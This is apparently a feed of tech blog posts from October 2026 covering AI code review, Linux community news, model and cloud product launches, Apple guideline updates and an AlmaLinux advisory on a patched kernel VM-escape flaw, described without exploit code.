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Building quality into the agentic workflow

Qodo · Oct 17, 9:27 AM UTC

AI coding agents changed how fast teams ship. They didn’t change who has to verify the output.
Last week, Qodo field CTO Shlomo Dalezman and solutions engineer Jonathan Klick ran a live session on what happens when code review stops waiting for the pull request. They walked through the Agentic Toolbox, demoed an install-to-review on a real codebase, and made the case that the PR is now the wrong place to catch most issues. Here’s what came out of it.
The first pass is no longer enough
A year ago, running AI review on a pull request still felt novel. The pitch was simple: code volume had outgrown human review capacity, so let AI take the first pass.
That model assumed the workflow stayed the same. Write code, push, open a PR, review there. As engineers moved deeper into agentic development, the assumption no longer held. When an agent writes most of a change, the PR is where problems surface too late. The work is done, the context is cold, and the burden lands back on a human reviewer.
Jonathan put the question directly: if you’re already leaning on AI to review your code, and the AI is sitting right there in your coding agent, why wait for the PR at all?
Trust is the real bottleneck
The counterargument to shifting review left is usually that teams are already shipping faster, so why add a step?
Data presented at LeadDev New York by DX, the engineering intelligence platform, complicates that. Across their customer base, organizations report real productivity gains from AI, even as trust in the resulting code sits at an all-time low. Velocity went up. Confidence went down.
That gap is the constraint. Teams that don’t trust their agents’ output end up re-reviewing everything manually, which erases the speed they gained. Closing the gap is what makes the next stage of adoption possible.
Software factories have levels
Shlomo offered a frame for where teams sit today, borrowed from autonomous vehicles: software factories run on a spectrum from L1 to L5.
At the low end, an agent takes a well-scoped ticket and implements it. At L5, the agent identifies the customer issue, writes the spec, designs the change, implements it, and merges it end-to-end without a human in the loop.
Most organizations are somewhere in the middle. Jonathan described the current moment as a semi-autonomous factory, or a dress rehearsal for the fully autonomous one. Verification is moving into the development process itself, and humans are being routed to the changes where their judgment matters. Everything you build into that loop now is what determines whether the next level is safe to attempt.
The context agents are missing
The reason agents produce work that needs heavy review is rarely model quality. It’s that the agent is working from a single repository while your system spans many repositories.
Qodo indexes that broader picture on day one: your organizational rules, your cross-repo dependencies, and, importantly, the contracts between repos, not just the fact that repo A relates to repo B. It also reads PR history, including the discussions between engineers, to learn which issues your team actually cares about. The default lookback is one year or 1,000 pull requests per repo, whichever comes first, and it’s configurable.
Shlomo framed the difference this way. A coding harness gives you context from a repository. This gives you context from an organizational perspective: how your team thinks about software from a governance, rules, and behavioral perspective.
Review, moved into the coding session
The Agentic Toolbox puts those capabilities inside the coding agent as skills, available through a slash command in Claude Code, Codex, Cursor, Kiro, and others. Install is a single command or a direct install from the plugin marketplaces.
Two points came up repeatedly in the demo.
The local review is the full review. It isn’t a prompt wrapped around a model call. The skill routes to Qodo’s backend and runs the same review engine used on your pull requests, with the same multi-model approach, rules, and codebase context. Findings still flow into your usage and acceptance metrics. Nothing is trimmed down for running locally.
Your agent can reason over repos it doesn’t have on disk. Because the underlying infrastructure runs on shallow gits, an agent working in one repository can still search across the rest. For an organization with hundreds or thousands of repos, that closes a real gap. Change a schema in repo A and break fifteen producers downstream, and you find out while planning rather than in production.
Humans and agents need different reviews
One of the sharper points of the session was that review depth and review noise pull in opposite directions. Go deeper, and false positives rise. Suppress false positives, and you surface shallower issues.
The resolution is that humans and agents sit on opposite sides of that tradeoff. An agent can work through a long list of findings without fatigue, so local review should surface everything, including the deep and complex issues. A human reviewer opening a PR needs the opposite: noise reduced, attention pointed at what matters. Tune each surface for its reader.
That extends to how reviews run during generation. Fast reviews are cheap enough to loop while the agent is still writing, similar to an engineer checking their own abstractions mid-task. A balanced review runs once the agent believes it’s finished, before the PR opens.
Developers fix more when review happens locally
A behavioral observation from Jonathan that resonated with the audience: once a change reaches the pull request, developers reliably fix the blockers and reliably skip everything else. Reliability, maintainability, performance, and defensive coding. The improvements that aren’t strictly required tend to get deferred and forgotten.
In the coding session, the calculation changes. The developer is already in the file with the context loaded. Fixing the four blockers is obvious, and adding the quality improvements costs almost nothing more. The result is a codebase that improves at the edges instead of accumulating skipped suggestions.
The PR becomes the final gate
None of this removes review from the pull request. It changes what that review is for.
With most findings resolved before the PR opens, PR review becomes the last gate rather than the first pass. A place to auto-approve low-blast-radius changes, block the ones that need a human, and label the rest so reviewers know where to spend attention. Everything learned in that process, including which findings teams accept and which they dismiss, feeds back into the system on merge.
Try it yourself
Local reviews through the Agentic Toolbox are free through the end of November. No credits consumed.
Install it, run a review on a change you’re working on now, and tell us where it falls short.
Watch the full recording →
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Planet News Roundup

openSUSE · Oct 17, 8:00 AM UTC

This is a roundup of articles from the openSUSE community listed on planet.opensuse.org. This community blog feed aggregator lists the featured highlights below from Oct. 9 - 15.
This week highlights KDE’s 30th anniversary and the premiere of the KDE documentary, the launch of Plasma 6.8 as the 30th Anniversary Edition, five Tumbleweed snapshots headlined by Linux Kernel 7.2.9, Samba 4.25.0 and LibreOffice 26.8.1.1, a mid-October Tumbleweed ARM update, the 31st KDE Frameworks 6 update, Open Build Service’s new Content Moderation feature, the Advanced Weather Widget plasmoid, episode 7 of the “La era de las distros” podcast on Madrid’s MAX distribution, Linux Saloon 223 on Omarchy, an openQA slow-test deep dive, GNOME’s refreshed Pixels wallpaper and more.
Here is a summary and links for each post:
30 Years and 1 Day: KDE Keeps Giving Me Freedom and Functionality with the Best Design
Victorhck shares a personal user’s tribute to KDE the day after the project’s 30th anniversary, reflecting on 15 years of using KDE with openSUSE since 2011. He expresses gratitude for the freedom, flexibility and polish of Plasma and KDE applications, praises the global community behind the project, and encourages readers to support KDE with donations, including a nod to celebrating 30 years with 30€.
KDE Documentary
Sebastian Kügler reflects on KDE’s 30th anniversary and the premiere of the KDE documentary, in which he was interviewed as a former release manager, Plasma core developer and KDE e.V. board member. He also hints at a return to Free Software development with two new apps tied to his hobbies.
Plasma 6.8 Released, 30th Anniversary Edition
The KDE Blog celebrates KDE’s 30th anniversary with the release of Plasma 6.8, highlighting dozens of improvements across the desktop experience. Key changes include the new Hanabi default wallpaper, Nepali calendar support, GTK4 window decoration fixes, a redesigned Discover with AppStream previews and a modernized Flatpak permissions panel.
Pixels Wallpaper Update
Jakub Steiner shares an early look at the updated Pixels wallpaper for GNOME, built from app icons redrawn as chunky pixel art. This time the wallpaper ships in nine color variants, and he asks the community for feedback on contrast, backgrounds and grain before the release.
KDE’s 30th Anniversary – Congratulations to the Whole Community!
The KDE Blog marks KDE’s 30th anniversary on Oct. 14, tracing the project from Matthias Ettrich’s original 1996 announcement to today’s worldwide community. Baltasar Ortega reflects on the people and values of KDE and previews the Plasma 6.8 launch arriving the next day.
Thirty Years of KDE
Cornelius Schumacher looks back on 30 years of KDE, from joining in 1999 to the project’s current strength with the Steam Deck reach and Sovereign Tech Fund investment. He reflects on how KDE’s commitment to freedom shaped his career and life, and notes the KDE documentary premiering for the anniversary.
Tumbleweed ARM Update by mid-October
openSUSE News details Tumbleweed ARM updates from mid-September through mid-October, covering the kernel’s move from 7.2.6 to 7.2.9 with a long list of SBC and AArch64 security fixes. Highlights include binutils 2.47 with Armv9.6 and Armv9.7 instructions, QEMU 11.1.2 virtualization fixes and refreshed Wi-Fi and Bluetooth firmware for Raspberry Pi, Qualcomm and MediaTek boards.
Advanced Weather Display with Advanced Weather Widget – Plasmoids for Plasma 6 (41)
The KDE Blog presents Advanced Weather Widget, the 41st entry in its Plasma 6 plasmoids series, a feature-rich weather applet by pnedyalkov. It supports multiple providers with automatic failover, detailed current conditions, radar maps, configurable KDE notifications and translations in 18 languages.
The Golden Age of LINUX in Spain. How MAX Was Created (with Its Original Developers) – Episode 7 of the Podcast “La era de las distros”
The KDE Blog promotes episode 7 of the podcast “La era de las distros,” which tells the story of Madrid’s MAX educational distribution through its original developers Ismail Ali-Gago, Carlos Salamanca and Mario Izquierdo. The episode covers the project’s humble technical beginnings and its role in digital sovereignty for Madrid’s classrooms.
The Content Moderation Feature Is Out For Everyone
The Open Build Service announces that its Content Moderation feature is now available to all users, giving the community tools to report, review and act on spam, abuse and other misconduct. Any user can report comments, users, projects, packages and requests using predefined categories.
31st KDE Frameworks 6 Update and the KDBusAddons Library
The KDE Blog covers the 31st update of KDE Frameworks 6, released Oct. 9, and continues its library deep-dive series with KDBusAddons. The post explains how KDBusAddons simplifies D-Bus work in Qt and KDE applications and provides a full listing of the Frameworks library tiers.
Linux Saloon 223 | Omarchy
Nathan Wolf hosts Linux Saloon 223 focused on Omarchy, with news including Discord’s age verification, Thunderbird for iOS and Ubuntu’s wiki overhaul. The episode also notes the shrinking Linux share among Steam users, Reddit dropping RSS feeds and upcoming show topics.
Anatomy of a slow test module
Zoltán Balogh dissects a slow support-server test module, explaining why wasted seconds in setup cost roughly three times as much since parallel nodes wait on the master. Through small, measured iterations he cut the SLE 15 SP7 SAP HANA scenario setup from 7m 37s to about 5m 10s and shares the patterns and lessons learned.
Final Touches for 6.8 – This Week in Plasma
The KDE Blog translates Nate Graham’s latest “This Week in Plasma,” covering the final polish on Plasma 6.8 ahead of its Oct. 14 release. The roundup lists interface tweaks for the weather applet, KRunner and Spectacle, plus bug fixes spanning Plasma 6.6.7 through 6.9 and Frameworks 6.32.
Tumbleweed – Review of the Week 2026/41
Dominique Leuenberger and Victorhck review five Tumbleweed snapshots (1001, 1002, 1003, 1005 and 1007), headlined by systemd 261.3, Mesa 26.2.4, NetworkManager 1.58.1, LibreOffice 26.8.1.1, Linux Kernel 7.2.9 and Samba 4.25.0. The roundup also notes a cups-filters2 revert that restored PDF and image printing, and previews staging updates including Plasma 6.8 Beta 2, libvirt 12.8.0 and fmt 12.2.0.
Barcelona Free Software: 30 Years of KDE
The KDE Blog announces a Barcelona Free Software talk on Oct. 21 celebrating KDE’s 30th anniversary, featuring KDE e.V. member and former KDE España president Albert Astals Cid. The event at Akasha Hub will share history, anecdotes and reflections on 30 years of KDE, followed by pizza and drinks courtesy of KDE España.
Tiny Wins for Packagers: End-of-Week Update (2026-10-09)
The Open Build Service posts its end-of-week roundup for packagers, highlighting fixes like copying special collectbuildenv packages, correcting dates on the Blame page and retriggering scmsync package syncs. The update also lists improvements to osc request listings, “osc fork” arguments and git-obs configuration handling.
View more blogs or learn to publish your own on planet.opensuse.org.
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Minor update (11) for Vivaldi Desktop 8.2

Vivaldi · Oct 17, 6:04 AM UTC



      
      
        
        
                                            This update includes a minor upgrade to Chromium 152 (Extended Stable Release) from upstream, which in turn includes security fixes from Chromium 155.

                         By Ruarí Ødegaard
October 17, 202681 views
                  
        
          Download Vivaldi

The following improvements were made since the tenth 8.2 minor update:

	[Chromium] Update to 152.0.7977.170 ESR (includes security fixes from 155.0.8059.84/85)


Main photo by Shino Nakamura.

                  
        
      
    Related articles
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DeepSeek V4.1 Flash 1017 now available on AI Gateway

Vercel · Oct 17, 12:00 AM UTC

DeepSeek V4.1 Flash 1017 is now available on AI Gateway.
DeepSeek V4.1 Flash 1017 is a minor update to DeepSeek V4.1 Flash that improves reasoning, coding, agentic tasks, and image understanding.
The coding gains show up in terminal work and in building and editing whole repositories, and the agentic gains in multi-step automation. With images, the model reads charts and handles visual reasoning more accurately when it can call tools.
DeepSeek V4.1 Flash 1017 also finishes tasks faster and with shorter outputs than the previous snapshot, so agent runs tend to take less time and use fewer output tokens.
Use deepseek/deepseek-v4.1-flash-1017 as the model name:
To use it in Claude Code, Codex, Cursor, and more, install the latest Vercel CLI and run setup:
Try DeepSeek V4.1 Flash 1017 in the model playground.
AI Gateway provides a unified API for calling models, tracking usage and cost, and configuring retries, failover, and performance optimizations for higher-than-provider uptime. It includes built-in custom reporting, Zero Data Retention support, budgets for API keys, routing rules, and more.
AI Gateway reflects provider pricing with no markup and does not charge a platform fee on inference, including on Bring Your Own Key (BYOK) requests.
You can view all language models available on AI Gateway.

            Read more
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From training to serving: Reflection’s Beam on CoreWeave

CoreWeave · Oct 16, 9:07 PM UTC

Published on
October 16, 2026
Reflection used Weights & Biases Models within CoreWeave Forge to develop Beam. Together with Axolotl, we’ve validated supervised fine-tuning on CoreWeave infrastructure. Developers can run the released model through Serverless Inference in CoreWeave Forge on Day 0.
Reflection’s first open-weight model, Beam, is available on Day 0 through Serverless Inference in CoreWeave Forge. Developers can call it through an OpenAI-compatible API, pay per token, and begin evaluating coding and agentic workloads without provisioning GPUs or operating a serving cluster.
Beam’s path on CoreWeave spans training, post-training, and serving. Reflection used Weights & Biases Models within Forge during training. We’ve validated a supervised fine-tuning (SFT) use case with Axolotl on CoreWeave infrastructure, and Serverless Inference in Forge provides Day 0 access to the released model.
This release adds a new model to the Western open-weight ecosystem, with an Apache 2.0 license and a specific focus: software engineering and long-horizon, tool-driven tasks.
What Reflection built into the Beam open-weight model
Beam is a mixture-of-experts model with 501 billion total parameters and 23 billion active parameters per token. Each token activates a fraction of the model, reducing computation relative to activating every parameter. Serving still needs to account for the full model’s weights, so active parameter count alone does not determine memory requirements or latency.
Reflection built this release for text-native workloads: source code, tool calls, logs, documents, and structured outputs. Beam is built for two workloads: software engineering and long-horizon agentic tasks, including resolving GitHub issues, maintaining code, and completing workflows through repeated model calls and tool interactions.
Beam’s approximately one-million-token context window provides room for extensive code and task history. The context length exposed by an inference endpoint depends on the provider’s serving configuration, so developers should check the supported limit when designing their workflows.
Beam ships under Apache 2.0 without custom license terms. Developers and researchers can inspect the weights, fine-tune the model, and choose their deployment environment. The release advances the Western open-weight ecosystem with a model teams can adapt to their own coding and agentic workloads.
From training to post-training Beam on CoreWeave
Reflection used Weights & Biases Models within Forge during Beam’s training. Open weights extend that development path to teams adapting the released model to their own workloads.
Together with Axolotl, we’ve validated a supervised fine-tuning (SFT) use case for Beam on CoreWeave infrastructure. SFT trains the model on examples of desired behavior, giving teams a way to adapt its responses to a specific task or domain. For coding and agentic applications, those examples could capture repository conventions, expected tool-call formats, or domain-specific instructions. The use case starts with Beam’s open checkpoint and applies supervised fine-tuning through Axolotl on CoreWeave. In the validated run, Axolotl  fine-tuned Beam-1.0-501B-A23B on GPU kernel generation, training it on about 84 million tokens of PyTorch-to-Triton and CUDA examples from the open KernelBook and AI CUDA Engineer datasets. Training used LoRA adapters with expert parallelism across 16 NVIDIA B200 GPUs on two CoreWeave nodes and finished in 73 minutes. For a second use case, medical question answering, Axolotl trained LoRA adapters directly on Beam's NVFP4 checkpoint on a single B200 node, using APO-Zero preference optimization on rubric-scored examples of Beam's own answers to patient questions. Because the adapters are trained to survive requantization, they fold back into an NVFP4 checkpoint that serves on Blackwell in the same format as the base NVFP4 model. On HealthBench, where scores across a year of frontier model releases sit within a few points of each other, the merged model's score rose from 49.0% to 52.7% across all 5,000 conversations (graded with GPT-6 Luna Decisions), and the improvement held up after length adjustment and under every grader tested. 
These were demo runs, the results illustrate what's possible and do not represent Beam's full potential with fine-tuning. CoreWeave is exploring broader support for fine-tuning and reinforcement learning with Beam, including further work with Axolotl on online RL. Enterprises interested in post-training Beam with their own data can contact CoreWeave to discuss their requirements.
Start building with Beam on Serverless Inference
Serverless Inference provides an OpenAI-compatible endpoint with per-token billing. That API compatibility simplifies integration with clients and frameworks that support the interface. Model behavior still needs evaluation: prompt conventions, tool calling, output formatting, and failure recovery can differ between models. Tracing, evaluations, and observability with CoreWeave Agent Lens help teams inspect Beam across application execution. For an agent, the useful unit of analysis is the complete task, including model calls, tool responses, retries, and final output.
For coding and agentic workloads, evaluate:
	Task success: whether the model produces a correct patch or completes the workflow, with results checked against tests or explicit acceptance criteria
	Tool-use reliability: whether it selects the appropriate tool, generates valid arguments, and recovers from errors
	Completion time: elapsed time across all model calls and tool interactions
	Cost per successful task: token spend across the workflow, including unsuccessful attempts and retries

These measurements distinguish a model that performs well on isolated prompts from one that works reliably inside your application. Start with the managed endpoint, evaluate Beam against your coding and agentic workloads, and identify where fine-tuning could improve performance for your application.
Get started with Beam on CoreWeave Serverless InferenceTry CoreWeave Forge with a 30 free trial of Pro

To explore fine-tuning Beam with your own data or reinforcement learning for your workload, contact the CoreWeave team to discuss your requirements  and for an evaluation through CoreWeave ARENA or on your CoreWeave cluster.
Contact Us
‍
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Transactions are Generally Available, advancing warehousing on the Lakehouse

Databricks · Oct 16, 9:00 PM UTC

Multi-Statement Transactions are Generally Available, enabling organizations to run complex, multi-step workflows with atomic guarantees without needing separate warehouse systems.
Data warehouses power some of an enterprise’s most important workloads, including data ingestion, transformation, business intelligence, applications, and operational analytics. Many of these workloads require changes across multiple tables to succeed or fail together. Historically, organizations relied on separate warehouse systems for these transactional guarantees, adding expensive data movement, duplicate copies, fragmented governance, and operational complexity.
Databricks is the first lakehouse architecture to support multi-statement transactions natively across both Delta Lake and Apache Iceberg tables. Alongside stored procedures, temporary tables, and SQL scripting, multi-statement transactions bring traditional data warehousing workloads to open, governed data on the lakehouse.
Problems with transactions on traditional and cloud warehouses
Traditional and cloud warehouses provide transactional guarantees, but often at the cost of a fragmented data architecture:
	Additional copies and data movement: Moving data into and out of a separate warehouse adds latency, cost, and inconsistency risk.
	Fragmented governance: Teams must duplicate and synchronize access policies, auditing, and operational controls across systems.
	Complex consistency workarounds: Developers need custom orchestration, reconciliation, and retry logic to keep related changes consistent.

Multi-statement transactions bring these guarantees directly to the open, governed lakehouse, reducing duplicate systems and the operational work required to keep them aligned.
Transactions on the lakehouse deliver a unified foundation for warehousing
Transactions on the lakehouse provide a foundation for running demanding warehouse workloads on open enterprise data. They combine support for open table formats with unified governance and high-concurrency performance. They also integrate with familiar warehouse development tools, data pipelines, and production observability capabilities.
Open across Delta Lake and Apache Iceberg
Multi-statement transactions support both Delta Lake and Apache Iceberg tables. Teams can preserve open table formats while gaining atomic guarantees across multiple statements and tables. They do not have to move governed data into a proprietary format or maintain a transactional copy in another system.
Fast at high concurrency
The lakehouse architecture supports row-level concurrency, allowing concurrent transactions to write to the same table as long as they do not update the same row. Unlike traditional data warehouses, which use locks to serialize writes, row-level concurrency enables more transactions to run in parallel. As a result, Databricks delivers significantly stronger performance than traditional cloud and legacy warehouses, allowing organizations to run demanding warehouse workloads directly on the lakehouse.
Integrated with warehouse development and data pipelines
Transactions are composable with other warehousing capabilities, enabling teams to build traditional data warehousing workloads on the lakehouse. For example, developers can stage intermediate results in a temporary table, package multi-step business logic in a stored procedure, and commit the entire workflow atomically.
Transactions can also write to streaming tables, bringing atomic guarantees to workflows that continuously ingest, transform, and publish data. Now, downstream pipelines can receive consistent updates, preventing them from processing incomplete data.
Governed transactions on sensitive data
Transactions respect Unity Catalog attribute-based access controls, including row-level security and column masking, on both reads and writes. This is especially important for workflows that stage, validate, and publish sensitive data. 
Observability in in production
Production transactions need to be understandable as well as correct. Developers can use commands such as DESCRIBE TABLE, SHOW COLUMNS, and GET DIAGNOSTICS to inspect the tables involved in a transaction and capture information about transactional execution. These capabilities make transactional workflows easier to develop, operate, and troubleshoot.
This fully integrated experience enables Fivetran to build their connectors on top of lakehouse transactions.
"Fivetran History Mode preserves each version of a record using slowly changing dimensions (SCD) Type 2. Each source change is two destination writes: closing out the prior version and inserting the new active one - both must succeed together. Previously, with transactional guarantees scoped to a single statement, we ran these as separate operations and defended against partial failure with reconciliation logic and consistency checks on subsequent syncs. With multi-statement, multi-table transactions, we now commit the close and the insert as one atomic unit so either the full change is applied or none of it is. This let Fivetran remove an entire class of consistency-repair code and gave our customers a stronger correctness guarantee on historical data."—Egidio Terra, Staff Product Manager, Fivetran
Likewise, Accolade uses transactions to process thousands of claims and liabilities records every day.
"At Accolade, we process roughly 1,700 transactions in production every day to handle incoming claims and liabilities. Each of those updates has to complete reliably and consistently. Multi-statement, multi-table transactions let us run these multi-step operations with full transactional guarantees, directly on our governed lakehouse. That reliability is central to our broader migration of critical workloads to the open lakehouse, without standing up a separate warehouse."—Akshay Ajgaonkar, Engineering Manager, Accolade
Together, open formats, centralized governance, row-level concurrency, familiar SQL features, pipeline integration, and observability create a complete transactional experience on the lakehouse.
Key use cases for multi-statement transactions
Multi-statement, multi-table transactions support several common patterns for modernizing ETL, migrating warehouse workloads, and publishing trusted data.
Give ETL multi-table transactional guarantees
An ETL job can update related tables as one unit. In this example, the order status and inventory balance cannot fall out of sync.
If either update fails, the workflow can roll back both changes rather than publishing a fulfilled order without the corresponding inventory adjustment.
Migrate warehouse procedures to the lakehouse
Stored procedures and temporary tables let developers preserve familiar warehouse development patterns while operating on governed lakehouse data.
Unity Catalog row-level security and column masking policies continue to apply to governed reads and writes. The procedure also uses DESCRIBE TABLE to inspect the target’s schema and metadata before the next set of writes, helping developers verify its configuration and troubleshoot issues without leaving the transactional workflow.
Implement Write-Audit-Publish
Write-Audit-Publish prevents data from becoming visible until it passes the required quality checks.
The workflow stages new data, records its quality results, and publishes the validated records in one atomic operation. If a validation or write fails, the transaction can roll back instead of exposing a partial result. The same pattern can include transactional writes to streaming tables when downstream pipelines need the published data continuously.
Get started with transactions today
Multi-Statement Transactions are Generally Available for UC managed Delta Lake and Apache Iceberg tables on Databricks. Get started with transactions today using Databricks’s documentation or by prompting the in-product Assistant.
With transactions on the lakehouse, you can bring critical warehouse workloads to open, governed data while reducing duplicate systems, data movement, and operational complexity.
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PwnEscape (CVE-2026-99999): Patched kernels available in testing

AlmaLinux · Oct 16, 8:18 PM UTC

A new Linux kernel vulnerability, nicknamed PwnEscape (CVE-2026-99999), has been disclosed. It is a guest-to-host virtual machine (VM) escape: anyone who controls a guest VM can send specially crafted network packets that leak the host’s kernel memory, crash the host, or, as the researcher demonstrated in their own lab, run code as root on the host. Both Red Hat and the Linux kernel CVE team rate it Critical. AlmaLinux 8, 9, and 10 are affected. Patched kernels are available in the testing repository today, and we would like your help verifying them before we release them to production.
If you run AlmaLinux as a host for VMs that belong to anyone you don’t fully trust (a public or private cloud, a VPS/VM provider, or a code sandbox platform), this is especially relevant to you.
More information about the vulnerability:
	CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999
	Red Hat CVE page: https://access.redhat.com/security/cve/CVE-2026-99999
	Linux kernel CVE team announcement: https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99999.mbox
	Researcher write-up from PWNAI Research: https://pwn.ai/blog/pwnescape
	Vercel’s summary of the finding: https://vercel.com/blog/findings-from-the-1-million-dollar-vercel-sandbox-challenge#the-kernel-zero-day
	Upstream kernel fix: ipv4: validate checksum_start before completing checksum (commit 6785011f8b16)

Summary
Despite the name, PwnEscape is not a bug in KVM. It lives in the host kernel’s IPv4 networking stack.
When a guest sends a packet through a virtio network device, it can pass the host some metadata along with it, including where in the packet a checksum still needs to be calculated and written. This is called checksum offload, and it saves the guest from doing that work itself. The host kernel trusted that metadata without checking it against the packet’s IPv4 header. With bad checksum metadata, the host’s checksum code ends up writing over an IPv4 header the kernel has already read and acted on. In the researcher’s example, the header length field changed from 5 to 15, so the host’s IP fragmentation code treated a 20-byte header as 60 bytes.
From there, the researcher showed three outcomes:
	A repeatable leak of host kernel memory back to the attacker, for as long as the guest keeps sending packets. Vercel reports this was demonstrated against its production sandboxes.
	A crash of the host, taking down every VM running on it.
	Writes into host kernel memory, chained into running a program as root on the host. This was shown on the researcher’s own KVM and Firecracker machines, and the full details are being held back for a follow-up write-up.

The flaw is old. The upstream fix traces it back to two commits: virtio network header support for tun/tap devices, added in 2008 (Linux 2.6.27), and checksum offload support for packet sockets, added in 2010. That puts the vulnerable code in the kernel for roughly 18 years, and in every kernel AlmaLinux has shipped to date.
Paulos Yibelo of PWNAI Research found the bug during Vercel’s public sandbox security challenge and reported it privately to the kernel security contact and networking maintainers on 2026-09-04. The fix, written by Michael S. Tsirkin of Red Hat, checks that the checksum location is valid before the kernel completes the checksum. It was merged into the mainline kernel on 2026-10-14. Upstream describes it as a defense-in-depth measure: packets like these should not be accepted in the first place, and more complete validation of incoming packets is still being worked on.
Impact
Every supported AlmaLinux release (8, 9, and 10) ships the vulnerable code. The systems most at risk are virtualization hosts that run guests for other people: anyone who controls one of those guests can attack the host and, through it, every other guest on the machine.
This is not only a concern for virtualization hosts. Red Hat’s assessment notes that a local attacker can also trigger the flaw, not just a guest VM, and the vulnerable code is in every AlmaLinux kernel whether or not the system runs VMs. We recommend updating every system. Neither the researcher, upstream, nor Red Hat has published a workaround. The fix is the patched kernel.
Patching ahead of our upstream
Security is a top priority at AlmaLinux. A flaw that lets a guest read, crash, or take over the host it runs on, present in the kernel for nearly two decades, is something that necessitates handling with urgency. At the time of writing, Red Hat lists RHEL 8, 9, and 10 as affected with no fix released yet. Our core team has backported the upstream fix to every affected AlmaLinux branch. The decision to ship ahead of a CentOS Stream / RHEL update was made by our technical steering committee, ALESCo.
These kernels are available in the testing repository today. After the community has helped verify them, we will release them to the production repositories. This post will be updated when that happens.
Patched kernel versions
	AlmaLinux 8: kernel-4.18.0-553.174.2.el8_10
	AlmaLinux 9: kernel-5.14.0-687.57.2.el9_8
	AlmaLinux 10: kernel-6.12.0-211.66.2.el10_2
	AlmaLinux Kitten 10: the fix will ride along in the next regular kernel update, so no separate build is being made

Install the version listed for your release, or higher.
Help us test
sudo dnf install -y almalinux-release-testing
sudo dnf update 'kernel*' --enablerepo=almalinux-testing
sudo reboot

Confirm with uname -r or rpm -q kernel against the versions above. On a virtualization host, rebooting interrupts every guest on it, so migrate or shut down your guests first.
If you do not want the testing repo enabled afterwards (and on a production box you almost certainly do not), disable it once you have rebooted:
sudo dnf config-manager --disable almalinux-testing

If you run into anything, please let us know in AlmaLinux chat or on bugs.almalinux.org.
Thanks
Thanks to Paulos Yibelo and PWNAI Research for finding, analyzing, and responsibly reporting this vulnerability, to Michael S. Tsirkin for writing the upstream fix, and to the kernel networking maintainers for reviewing and merging it. Thanks as well to Vercel, whose sandbox security challenge surfaced the bug, for notifying other affected providers.
Thanks to the AlmaLinux core team for turning around patched builds for every affected release, and to ALESCo for moving quickly to approve shipping ahead of upstream. And thank you in advance to everyone in the community who helps us test these kernels. That’s the part that gets them safely into production.
Stay informed
Remaining aware of these vulnerabilities and acting quickly can keep your systems and data safe. Follow the AlmaLinux Blog, join the Mattermost Community Chat, and subscribe to the Announce and Security mailing lists to stay informed. We will update this post when the patched kernels move from testing to production.
Changelog
	2026-10-16 20:17 UTC: Initial post published. Patched kernels available in almalinux-testing for AlmaLinux 8, 9, and 10.
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Updated App Review Guidelines are now available

Apple Developer · Oct 16, 8:05 PM UTC


									October 16, 2026

																			The App Review Guidelines have been revised to support new features, updated policies, and to provide clarification.
App Review Guidelines
	Before You Submit: Added links to additional documentation. 
	1.2: Clarified app content and app types that are subject to this guideline, and potential Developer Code of Conduct violation for failing to implement appropriate safeguards or remediating violations after notice.
	2.3.14: New guideline covering creative assets.
	2.5.19: New guideline clarifies long-standing policy on hidden, dormant, or undocumented features, formerly covered in Guideline 2.3.1.
	3.1.1(a): Removed bullet point on Music Streaming Services Entitlements, which is now incorporated in the bullet point on StoreKit External Purchase Link Entitlements; clarified that links may be provided to a permitted destination.
	5: Clarified that apps found to facilitate human trafficking and/or the exploitation of children will be removed from the App Store and blocked from alternative distribution.
	After You Submit: Added links to additional documentation. 

Translations of the updated guidelines will be available on the Apple Developer website within one month.
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Amazon CloudWatch log centralization now available in AWS GovCloud and additional commercial Regions

What's New with AWS · Oct 16, 8:04 PM UTC

Amazon CloudWatch log centralization is now available in AWS GovCloud (US) and 13 additional commercial Regions. CloudWatch log centralization copies log data from multiple AWS accounts and Regions into a single destination account, integrating with AWS Organizations for efficient aggregation without the need for custom solutions.
With this launch, organizations in the AWS GovCloud (US) partition and commercial partition can each centralize logs across their accounts and Regions for centralized monitoring. You can scope centralization rules to your entire organization, specific organizational units, or selected accounts and copy logs into a single account while preserving source context through enriched system fields.
CloudWatch log centralization is now additionally available in Africa (Cape Town), Asia Pacific (Hong Kong), Asia Pacific (Hyderabad), Asia Pacific (Jakarta), Asia Pacific (Malaysia), Asia Pacific (Melbourne), Canada West (Calgary), Europe (Milan), Europe (Spain), Europe (Zurich), Israel (Tel Aviv), Middle East (Bahrain), Middle East (UAE), AWS GovCloud (US-East), and AWS GovCloud (US-West). For a complete list of supported Regions, see the AWS Region table.
To get started, create a centralization rule in the Amazon CloudWatch console, or by using the AWS CLI or AWS SDKs. To learn more, see Log centralization in the Amazon CloudWatch Logs User Guide. Customers can centralize one copy of logs for free; additional copies are charged at $0.05/GB. For details, see Amazon CloudWatch pricing.
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TiDB Cloud BYOC Public Preview: Fully Managed Distributed SQL in Your AWS Account

PingCAP (TiDB) · Oct 16, 8:02 PM UTC


Key Takeaways




	Run your TiDB data plane in your own AWS account. TiDB Cloud BYOC handles deployment and ongoing operations.
	Keep control of access. TiDB Cloud uses scoped permissions, data is encrypted, and every operational session is audited.
	Scale on TiDB X. BYOC adds elastic scaling, workload isolation, and efficient native backup and recovery.
	Apply your existing AWS discounts to eligible infrastructure, because BYOC resources bill through your AWS account.
	Request your preferred AWS Region. Availability depends on instance types and Availability Zone requirements.



Teams running distributed SQL in production face a trade-off. A managed service removes the work of upgrades, scaling, and backups, and it moves the database into the vendor’s cloud account. Self-managing TiDB keeps the database in your account and leaves every upgrade, backup, and incident to your team.
Today, we are announcing the public preview of TiDB Cloud BYOC (Bring Your Own Cloud) on AWS. TiDB Cloud BYOC runs managed distributed SQL inside your AWS account, and TiDB Cloud handles deployment and ongoing database operations. BYOC is one of several TiDB Cloud updates announced at SCaiLE 2026.
The split is simple. Your organization controls the cloud environment and the data boundary. TiDB Cloud manages the database lifecycle through operational access you authorize.
What Is TiDB Cloud BYOC?
TiDB Cloud BYOC is a deployment option that separates database management from workload execution. The data plane runs in your AWS account. The control plane, managed by PingCAP, runs orchestration and lifecycle management through TiDB Cloud.
The data plane includes database compute, storage, and networking. Your organization controls the cloud account, network policies, IAM permissions, and encryption keys.
The control plane handles deployment and lifecycle operations. Applications connect to the database’s SQL endpoint for reads and writes, and the control plane never sits in that application traffic path.
Figure: The TiDB Cloud BYOC data plane runs in your AWS account. The TiDB Cloud control plane performs authorized deployment and lifecycle operations.
